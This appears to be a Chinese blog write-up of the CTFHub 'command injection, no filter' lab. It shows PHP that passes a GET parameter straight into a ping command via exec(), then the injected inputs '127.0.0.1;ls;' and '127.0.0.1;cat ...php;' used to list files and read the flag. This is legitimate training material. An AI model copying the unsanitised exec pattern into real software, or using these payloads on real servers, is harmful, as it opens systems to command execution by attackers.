无过滤
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
观察html代码发现ping直接将输入的IP地址连接在命令行后,可以使用分隔符运行想要注入的指令
先使用ls指令查看文件目录
127.0.0.1;ls;
返回目录:
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => 13175248123414.php
[2] => index.php
)
查看php获得flag
127.0.0.1;cat 13175248123414.php;
flag藏在注释里
原创文章,作者:bd101bd101,如若转载,请注明出处:https://blog.ytso.com/275571.html